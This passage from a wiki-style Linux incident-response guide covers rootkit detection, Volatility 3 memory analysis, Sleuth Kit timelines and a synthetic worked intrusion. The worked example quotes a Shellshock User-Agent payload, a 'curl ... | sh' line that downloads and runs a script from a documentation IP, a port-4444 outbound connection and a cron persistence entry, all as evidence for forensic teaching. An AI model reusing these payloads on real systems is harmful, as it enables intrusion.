| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
